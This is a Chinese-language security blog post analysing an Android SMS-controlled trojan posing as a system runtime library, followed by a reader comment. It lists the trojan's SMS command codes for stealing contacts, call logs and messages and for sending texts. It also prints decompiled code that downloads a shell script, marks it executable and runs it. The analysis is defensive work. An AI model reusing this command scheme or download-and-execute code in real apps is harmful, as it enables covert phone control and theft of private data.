post by 南山
AVL移动安全团队最近发现了另一例Android下短信指令控制木马，其接受短信指令执行用户隐私上传、发送指定短信等等，除此外还具备执行任意shell脚本命令。
样本分析
样本基本信息:
| 包名 | com.security.update |
| 应用程序名 | Android Runtime Library |
| 文件大小 | 73,791字节 |
该木马首次运行时会发送短信通知控制者(默认控制者手机号码：1503****394)，然后注册短信接收器，监听短信指令。
短信指令对照表:
| 短信指令 | 行为描述 |
|---|---|
| c001#手机号码 | 设置控制者的手机号码 |
| c005#uploadurl | 设置上传用户隐私信息的URL |
| c006#手机号码 | 设置上传手机联系人信息的手机号码 |
| c007#downloadurl | 设置下载文件的URL |
| c100#手机号码%短信内容 | 发送指定的短信 |
| c101#shell脚本 | 执行shell脚本 |
| c102#FileName | 下载指定的文件 |
| c201# | 获取联系人信息，加密发送到指定的手机上 |
| c202# | 下载配置信息 |
| c999#FileName | 下载更新版本，通知栏弹出假的系统更新信息，用户点击后，弹出安装界面 |
以下以其中的三个短信指令为例来说明:
c100#手机号码%短信内容
可以看到木马将指定内容短信发送到指定手机号码
c101#shell脚本
该木马支持两种方式执行shell命令，这里以执行mkdir命令来进行验证：
1.执行短信指令中指定shell命令
此时，在指定目录下创建了test1目录：
2.运行短信指令中指定的shell脚本
此时，在指定目录下创建了test2目录：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
String v1 = SecurityUpdate.a().getCacheDir() + "/tmp"; File v0 = new File(v1); if(!v0.exists()) { v0.mkdirs(); } g.a(String.valueOf(v1) + "/" + this.a);//下载shell脚本 try { //修改下载的脚本的执行权限 BufferedWriter v2 = new BufferedWriter(new OutputStreamWriter(Runtime.getRuntime().exec("/system/bin/sh -").getOutputStream())); v2.write("cd " + v1 + "; " + "chmod 755 " + this.a + "; " + "./" + this.a); v2.flush(); v2.close(); } |
c200#intNum#intNum
在接收此短信指令后，木马会读取通话记录和短信箱内容，以及设备信息，并存放在sdcard路径下，以备后续上传到指定URL。
小结
该木马是一类功能全面的短信指令控制木马，并且增加了对shell命令的执行，通过下载任意指定URL的文件指令和执行shell命令相结合，可以完成执行任意shell命令的功能，使用户手机暴露在更大的威胁之下。
用户可以下载AVL移动安全团队AVL Pro对此木马进行查杀
“另一例Android下短信指令控制木马”，为什么要说“另”？